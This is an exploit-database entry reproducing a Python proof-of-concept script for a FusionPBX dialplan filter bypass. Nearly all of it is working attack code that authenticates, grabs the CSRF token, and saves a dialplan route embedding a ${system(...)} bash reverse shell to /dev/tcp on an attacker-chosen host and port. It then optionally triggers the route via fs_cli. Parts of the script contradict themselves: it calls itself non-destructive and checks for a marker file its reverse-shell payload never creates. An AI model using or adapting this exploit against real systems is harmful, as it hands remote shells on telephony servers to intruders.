Exploit database

GH-e61b237e18b163989dcf7b257470e451

jasonbernier/dialplan-escape-rce

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-112195

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
jasonbernier/dialplan-escape-rceRevision 9f6fa490852f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 21,676 bytes
#!/usr/bin/env python3
"""
FusionPBX dialplan RCE proof of concept.
https://github.com/jasonbernier
"""

from __future__ import annotations

import argparse
import html
import http.cookiejar
import os
import re
import secrets
import ssl
import subprocess
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
from html.parser import HTMLParser


UUID_RE = re.compile(
    r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-5][0-9a-fA-F]{3}-"
    r"[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$"
)
HEX_64_RE = re.compile(r"^[0-9a-f]{64}$", re.IGNORECASE)
DOMAIN_SELECT_RE = re.compile(
    r"<select\b[^>]*\bname=['\"]domain_uuid['\"][^>]*>(.*?)</select>",
    re.IGNORECASE | re.DOTALL,
)
SELECTED_DOMAIN_RE = re.compile(
    r"<option\b[^>]*\bvalue=['\"]([0-9a-fA-F-]{36})['\"][^>]*\bselected(?:=['\"][^'\"]*['\"])?[^>]*>",
    re.IGNORECASE,
)
EDIT_ID_RE = re.compile(
    r"dialplan_edit\.php\?[^\"']*?id=([0-9a-fA-F-]{36})",
    re.IGNORECASE,
)


def is_login_form(body: str) -> bool:
    lowered = body.lower()
    return (
        "id='btn_login'" in lowered
        or 'id="btn_login"' in lowered
        or "name='password'" in lowered
        or 'name="password"' in lowered
    )


class InputInspector(HTMLParser):
    def __init__(self) -> None:
        super().__init__(convert_charrefs=True)
        self.inputs: list[dict[str, str]] = []

    def handle_starttag(self, tag: str, attrs: list[tuple[str, str | None]]) -> None:
        if tag.lower() == "input":
            self.inputs.append({key.lower(): value or "" for key, value in attrs})


def inspect_inputs(body: str) -> list[dict[str, str]]:
    parser = InputInspector()
    try:
        parser.feed(body)
    except Exception:
        return []
    return parser.inputs


def extract_token(body: str) -> tuple[str, str] | None:
    """Extract FusionPBX's random-name hidden token regardless of attribute order/quoting."""
    for field in inspect_inputs(body):
        name = field.get("name", "")
        value = field.get("value", "")
        if field.get("type", "").lower() == "hidden" and HEX_64_RE.fullmatch(name) and HEX_64_RE.fullmatch(value):
            return name, value
    return None


def page_diagnostic(final_url: str, body: str) -> str:
    title_match = re.search(r"<title\b[^>]*>(.*?)</title>", body, re.IGNORECASE | re.DOTALL)
    title = re.sub(r"\s+", " ", html.unescape(title_match.group(1))).strip() if title_match else "(no title)"
    names = sorted({field.get("name", "") for field in inspect_inputs(body) if field.get("name")})
    safe_names = [name if not HEX_64_RE.fullmatch(name) else "<64-hex-token-name>" for name in names]
    return f"final URL={final_url!r}, title={title!r}, input names={safe_names or ['(none)']}"


def extract_messages(body: str) -> list[str]:
    """Extract FusionPBX message-bar text without returning hidden values."""
    messages = []
    pattern = re.compile(
        r"<[^>]*class=['\"][^'\"]*message_(?:text|mood_[^'\" ]+)[^'\"]*['\"][^>]*>(.*?)</[^>]+>",
        re.IGNORECASE | re.DOTALL,
    )
    for match in pattern.findall(body):
        text = re.sub(r"<[^>]+>", " ", match)
        text = re.sub(r"\s+", " ", html.unescape(text)).strip()
        if text and text not in messages:
            messages.append(text)
    return messages


def discover_domain(body: str) -> tuple[str | None, str | None, bool]:
    """Return (selected UUID, selected name, selector_present).

    When the selector is absent, FusionPBX scopes the save to the authenticated
    session domain because the user lacks the cross-domain permission.
    """
    select_match = DOMAIN_SELECT_RE.search(body)
    if not select_match:
        return None, None, False
    select_body = select_match.group(1)
    selected = SELECTED_DOMAIN_RE.search(select_body)
    if selected and UUID_RE.fullmatch(selected.group(1)):
        option_end = select_body.find("</option>", selected.end())
        option_html = select_body[selected.end() : option_end if option_end >= 0 else selected.end()]
        option_name = re.sub(r"<[^>]+>", " ", option_html)
        option_name = re.sub(r"\s+", " ", html.unescape(option_name)).strip() or None
        return selected.group(1), option_name, True
    return None, None, True


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        formatter_class=argparse.RawTextHelpFormatter,
        description="   Reverse Shell via FusionPBX system-filter bypass. For automatic triggering use --trigger-local \n   Example: python3 exploit.py -t https://pbx.lab.example --username admin --password Password123 --insecure --trigger-local --lhost X.X.X.X --lport XXXX"
    )
    parser.add_argument(
        "--base-url",
        required=True,
        help="FusionPBX base URL, e.g. https://pbx.lab.example or https://host/fusionpbx/",
    )
    auth = parser.add_mutually_exclusive_group(required=True)
    auth.add_argument(
        "--cookie",
        help="Existing authorized session cookie, e.g. PHPSESSID=...",
    )
    auth.add_argument(
        "--username",
        help="Log in through FusionPBX using this username instead of supplying a cookie",
    )
    parser.add_argument(
        "--password",
        help="Password for --username (warning: command-line values may be exposed in shell history/process listings)",
    )
    parser.add_argument(
        "--domain-name",
        help="FusionPBX login domain name, required when the login form/domain configuration requires it",
    )
    parser.add_argument(
        "--context",
        default="${domain_name}",
        help="Test dialplan context (default: literal ${domain_name})",
    )
    parser.add_argument(
        "--trigger",
        help="Digits to dial to trigger the reverse shell (default: random 899xxx number)",
    )
    parser.add_argument(
        "--lhost",
        required=True,
        help="Local host IP for the reverse shell",
    )
    parser.add_argument(
        "--lport",
        type=int,
        required=True,
        help="Local port for the reverse shell",
    )
    parser.add_argument(
        "--insecure",
        action="store_true",
        help="Disable TLS certificate validation for an isolated lab only",
    )
    parser.add_argument(
        "--trigger-local",
        action="store_true",
        help="After saving, trigger the route through a local fs_cli (run only on the PBX host)",
    )
    parser.add_argument(
        "--fs-cli-path",
        default="/usr/bin/fs_cli",
        help="Path to the local fs_cli binary used with --trigger-local (default: /usr/bin/fs_cli)",
    )
    parser.add_argument(
        "--sudo-fs-cli",
        action="store_true",
        help="Invoke fs_cli through non-interactive sudo; requires an existing sudo authorization",
    )
    return parser.parse_args()


def local_fs_cli(args: argparse.Namespace, command: str) -> str:
    argv = [args.fs_cli_path, "-x", command]
    if args.sudo_fs_cli:
        argv = ["sudo", "-n", *argv]
    try:
        completed = subprocess.run(
            argv,
            stdin=subprocess.DEVNULL,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            text=True,
            timeout=20,
            check=False,
        )
    except (OSError, subprocess.SubprocessError) as exc:
        raise RuntimeError(f"local fs_cli invocation failed: {exc}") from exc
    output = completed.stdout.strip()
    if completed.returncode != 0 or output.startswith("-ERR"):
        raise RuntimeError(
            f"local fs_cli command failed (exit {completed.returncode}): {output or '(no output)'}"
        )
    return output


class Client:
    def __init__(self, base_url: str, insecure: bool, cookie: str | None = None) -> None:
        self.base_url = base_url.rstrip("/") + "/"
        context = ssl.create_default_context()
        if insecure:
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
        self.cookie_jar = http.cookiejar.CookieJar()
        self.opener = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(self.cookie_jar),
            urllib.request.HTTPSHandler(context=context),
        )
        self.cookie = cookie

    def url(self, relative: str) -> str:
        return urllib.parse.urljoin(self.base_url, relative)

    def request(self, relative: str, data: dict[str, str] | None = None) -> tuple[str, str]:
        encoded = urllib.parse.urlencode(data).encode() if data is not None else None
        headers = {
            "User-Agent": "FusionPBX-vendor-RCE-PoC/1.0",
            "Content-Type": "application/x-www-form-urlencoded",
        }
        if self.cookie:
            headers["Cookie"] = self.cookie
        req = urllib.request.Request(
            self.url(relative),
            data=encoded,
            headers=headers,
        )
        with self.opener.open(req, timeout=20) as response:
            body = response.read(4 * 1024 * 1024).decode("utf-8", "replace")
            return response.geturl(), body

    def login(self, username: str, password: str, domain_name: str | None) -> None:
        """Authenticate through the normal FusionPBX login form and retain its session cookie."""
        final_url, login_html = self.request("login.php")
        token = extract_token(login_html)
        if not token:
            if is_login_form(login_html):
                pass  # some authentication plugins use a tokenless login form
            elif "login.php" not in final_url.lower():
                return  # already authenticated by an ambient/reverse-proxy mechanism
            else:
                raise RuntimeError(
                    "the expected FusionPBX login form was not returned; " + page_diagnostic(final_url, login_html)
                )

        login_post = {"username": username, "password": password}
        if token:
            token_name, token_value = token
            login_post[token_name] = token_value
        if domain_name:
            login_post["domain_name"] = domain_name

        final_url, response_html = self.request("login.php", login_post)
        lowered = response_html.lower()
        if "name='authentication_code'" in lowered or 'name="authentication_code"' in lowered:
            raise RuntimeError(
                "password accepted but an additional authentication step is required; "
                "complete MFA in a browser and rerun with --cookie"
            )

        # A successful login should make this protected page available. This also
        # catches bad credentials, domain-selection failures, SSO-only deployments,
        # and authentication plugins that returned another login view.
        protected_url, protected_html = self.request("app/dialplans/dialplan_edit.php")
        if (
            "login.php" in protected_url.lower()
            or is_login_form(protected_html)
            or not extract_token(protected_html)
        ):
            raise RuntimeError(
                "login did not produce an authorized dialplan session; verify credentials, "
                "domain, MFA/SSO requirements, and route/dialplan permissions; "
                + page_diagnostic(protected_url, protected_html)
            )

    def session_summary(self) -> str:
        if self.cookie:
            name = self.cookie.split("=", 1)[0].strip() or "cookie"
            return f"using supplied {name} session"
        names = sorted({cookie.name for cookie in self.cookie_jar})
        return "acquired session cookie(s): " + ", ".join(names or ["unnamed"])


def main() -> int:
    args = parse_args()
    trigger = args.trigger or f"899{secrets.randbelow(1000):03d}"
    if not re.fullmatch(r"[0-9]{3,15}", trigger):
        print("--trigger must contain 3 to 15 digits.", file=sys.stderr)
        return 2

    nonce = secrets.token_hex(6)
    route_name = f"security_rce_poc_{nonce}"
    shell_command = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
    # FreeSWITCH expands ${api_name(args)} in action data before executing the
    # dialplan application. Using a benign `set` action exercises the data-side
    # filter even when the mod_dptools `system` dialplan application is absent.
    shell_expansion = f"fusionpbx_rce_poc=${{system({shell_command})}}"
    log_marker = f"FUSIONPBX_RCE_POC_HIT_{nonce}"
    if args.cookie and (args.password is not None or args.domain_name):
        print("Password/domain login options cannot be combined with --cookie.", file=sys.stderr)
        return 2
    if args.username and args.password is None:
        print("--password is required when using --username.", file=sys.stderr)
        return 2

    client = Client(args.base_url, args.insecure, cookie=args.cookie)

    try:
        if args.username:
            password = args.password
            client.login(args.username, password, args.domain_name)
            password = ""  # discard the local reference as soon as authentication finishes
            print(client.session_summary())

        final_url, edit_html = client.request("app/dialplans/dialplan_edit.php")
        if "login.php" in final_url.lower() or is_login_form(edit_html):
            raise RuntimeError("request reached the login form instead of an authorized dialplan session")
        token = extract_token(edit_html)
        if not token:
            raise RuntimeError(
                "could not find the dialplan anti-CSRF token; verify the session and dialplan/route permissions; "
                + page_diagnostic(final_url, edit_html)
            )
        token_name, token_value = token
        domain_uuid, selected_domain_name, domain_selector_present = discover_domain(edit_html)
        if domain_selector_present and domain_uuid is None:
            raise RuntimeError(
                "the dialplan form is currently scoped to Global or has no selected domain; "
                "select an isolated test domain in FusionPBX and try again"
            )

        post = {
            token_name: token_value,
            "hostname": "",
            "dialplan_name": route_name,
            "dialplan_number": trigger,
            "dialplan_context": args.context,
            "dialplan_continue": "false",
            # Use an early order because FusionPBX's normal catch-all routing can
            # consume an unknown extension before a route at order 999 is reached.
            "dialplan_order": "001",
            "dialplan_destination": "false",
            "dialplan_enabled": "true",
            "dialplan_description": "Non-destructive vendor RCE proof of concept; remove after testing",
            "dialplan_details[0][dialplan_detail_tag]": "condition",
            "dialplan_details[0][dialplan_detail_type]": "destination_number",
            "dialplan_details[0][dialplan_detail_data]": f"^{trigger}$",
            "dialplan_details[0][dialplan_detail_break]": "on-false",
            "dialplan_details[0][dialplan_detail_inline]": "false",
            "dialplan_details[0][dialplan_detail_group]": "0",
            "dialplan_details[0][dialplan_detail_order]": "10",
            "dialplan_details[0][dialplan_detail_enabled]": "true",
            # A preceding log action proves whether the exact-match route was hit,
            # independently of systemd PrivateTmp or command-execution controls.
            "dialplan_details[1][dialplan_detail_tag]": "action",
            "dialplan_details[1][dialplan_detail_type]": "log",
            "dialplan_details[1][dialplan_detail_data]": f"WARNING {log_marker}",
            "dialplan_details[1][dialplan_detail_break]": "",
            "dialplan_details[1][dialplan_detail_inline]": "false",
            "dialplan_details[1][dialplan_detail_group]": "0",
            "dialplan_details[1][dialplan_detail_order]": "20",
            "dialplan_details[1][dialplan_detail_enabled]": "true",
            "dialplan_details[2][dialplan_detail_tag]": "action",
            "dialplan_details[2][dialplan_detail_type]": "set",
            "dialplan_details[2][dialplan_detail_data]": shell_expansion,
            "dialplan_details[2][dialplan_detail_break]": "",
            "dialplan_details[2][dialplan_detail_inline]": "false",
            "dialplan_details[2][dialplan_detail_group]": "0",
            "dialplan_details[2][dialplan_detail_order]": "30",
            "dialplan_details[2][dialplan_detail_enabled]": "true",
        }
        if domain_uuid is not None:
            post["domain_uuid"] = domain_uuid
        save_url, save_html = client.request("app/dialplans/dialplan_edit.php", post)
        save_messages = extract_messages(save_html)

        search = urllib.parse.urlencode({"search": route_name})
        _, listing = client.request(f"app/dialplans/dialplans.php?{search}")
        combined_listing = html.unescape(save_html + "\n" + listing)
        candidate_ids = [m for m in EDIT_ID_RE.findall(combined_listing) if UUID_RE.fullmatch(m)]
        route_visible = route_name in combined_listing

        verified_uuid = None
        for candidate in dict.fromkeys(candidate_ids):
            _, candidate_html = client.request(
                "app/dialplans/dialplan_edit.php?" + urllib.parse.urlencode({"id": candidate})
            )
            set_retained = re.search(r"\bvalue=['\"]set['\"]", candidate_html, re.IGNORECASE)
            expansion_retained = "${system(" in html.unescape(candidate_html)
            if route_name in candidate_html and shell_command in candidate_html and set_retained and expansion_retained:
                verified_uuid = candidate
                break

        print("PoC dialplan submitted.")
        if domain_uuid is not None:
            print(f"Domain UUID:  {domain_uuid} (discovered from selected domain)")
            if selected_domain_name:
                print(f"Domain name:  {selected_domain_name}")
        else:
            print("Domain scope: authenticated session domain (domain selector is not available to this role)")
        print(f"Route name:   {route_name}")
        print(f"Trigger:      {trigger}")
        print(f"Reverse Shell: {shell_command}")
        print(f"Log marker:   {log_marker}")
        print(f"Save result:  {save_url}")
        for message in save_messages:
            print(f"Server message: {message}")
        if verified_uuid:
            print(f"Dialplan UUID: {verified_uuid}")
            print("Filter bypass: verified in the saved edit form (`set` plus `${system(...)}` were retained).")
        elif route_visible:
            print("Filter bypass: route is visible in the list, but this role could not automatically re-read its details.")
        else:
            print("Filter bypass: UNCONFIRMED—the route was not found after submission.")
            print("Do not trigger it yet. Inspect Dialplan Manager and the server message above.")
            return 1

        originate_context = args.context
        if originate_context == "${domain_name}":
            originate_context = selected_domain_name or "<CONTEXT_FROM_DIALPLAN_MANAGER>"

        if args.trigger_local:
            if originate_context == "<CONTEXT_FROM_DIALPLAN_MANAGER>":
                raise RuntimeError(
                    "cannot resolve the local originate context automatically; rerun with --context DOMAIN_NAME"
                )
            if not re.fullmatch(r"[A-Za-z0-9_.:-]+", originate_context):
                raise RuntimeError(f"refusing unsafe local originate context: {originate_context!r}")
            print("Reloading XML through local fs_cli...")
            reload_result = local_fs_cli(args, "reloadxml")
            print(f"fs_cli reload: {reload_result}")
            originate = (
                f"bgapi originate {{origination_caller_id_number=1000}}"
                f"loopback/{trigger}/{originate_context}/XML &park()"
            )
            originate_result = local_fs_cli(args, originate)
            print(f"fs_cli originate: {originate_result}")
            deadline = time.monotonic() + 5.0
            marker_path = f"/dev/shm/fusionpbx-rce-poc-{nonce}"
            while time.monotonic() < deadline and not os.path.isfile(marker_path):
                time.sleep(0.25)
            if os.path.isfile(marker_path):
                print(f"VULNERABLE: marker created at {marker_path}")
            else:
                print("Trigger completed, but the marker was not observed within 5 seconds.")
                print(f"Inspect /var/log/freeswitch/freeswitch.log for {log_marker} and {trigger}.")
                return 1

        print()
        print("To complete the isolated-lab demonstration:")
        if not args.trigger_local:
            print("  1. Reload XML and originate a synthetic call (no phone required):")
            print("     sudo fs_cli -x \"reloadxml\"")
            print(
                "     sudo fs_cli -x \"bgapi originate "
                f"{{origination_caller_id_number=1000}}loopback/{trigger}/{originate_context}/XML &park()\""
            )
            print(f"  2. Confirm route hit: grep {log_marker} /var/log/freeswitch/freeswitch.log")
            print("  3. Verify execution: sudo test -f {marker_path} && echo VULNERABLE")
            print("  4. Delete the PoC dialplan and remove its marker with sudo rm.")
        else:
            print("  1. Delete the PoC dialplan in Dialplan Manager.")
            print(f"  2. Remove the marker: sudo rm -f {marker_path}")
        return 0

    except (urllib.error.URLError, urllib.error.HTTPError, TimeoutError, RuntimeError) as exc:
        print(f"PoC failed safely: {exc}", file=sys.stderr)
        return 1


if __name__ == "__main__":
    raise SystemExit(main())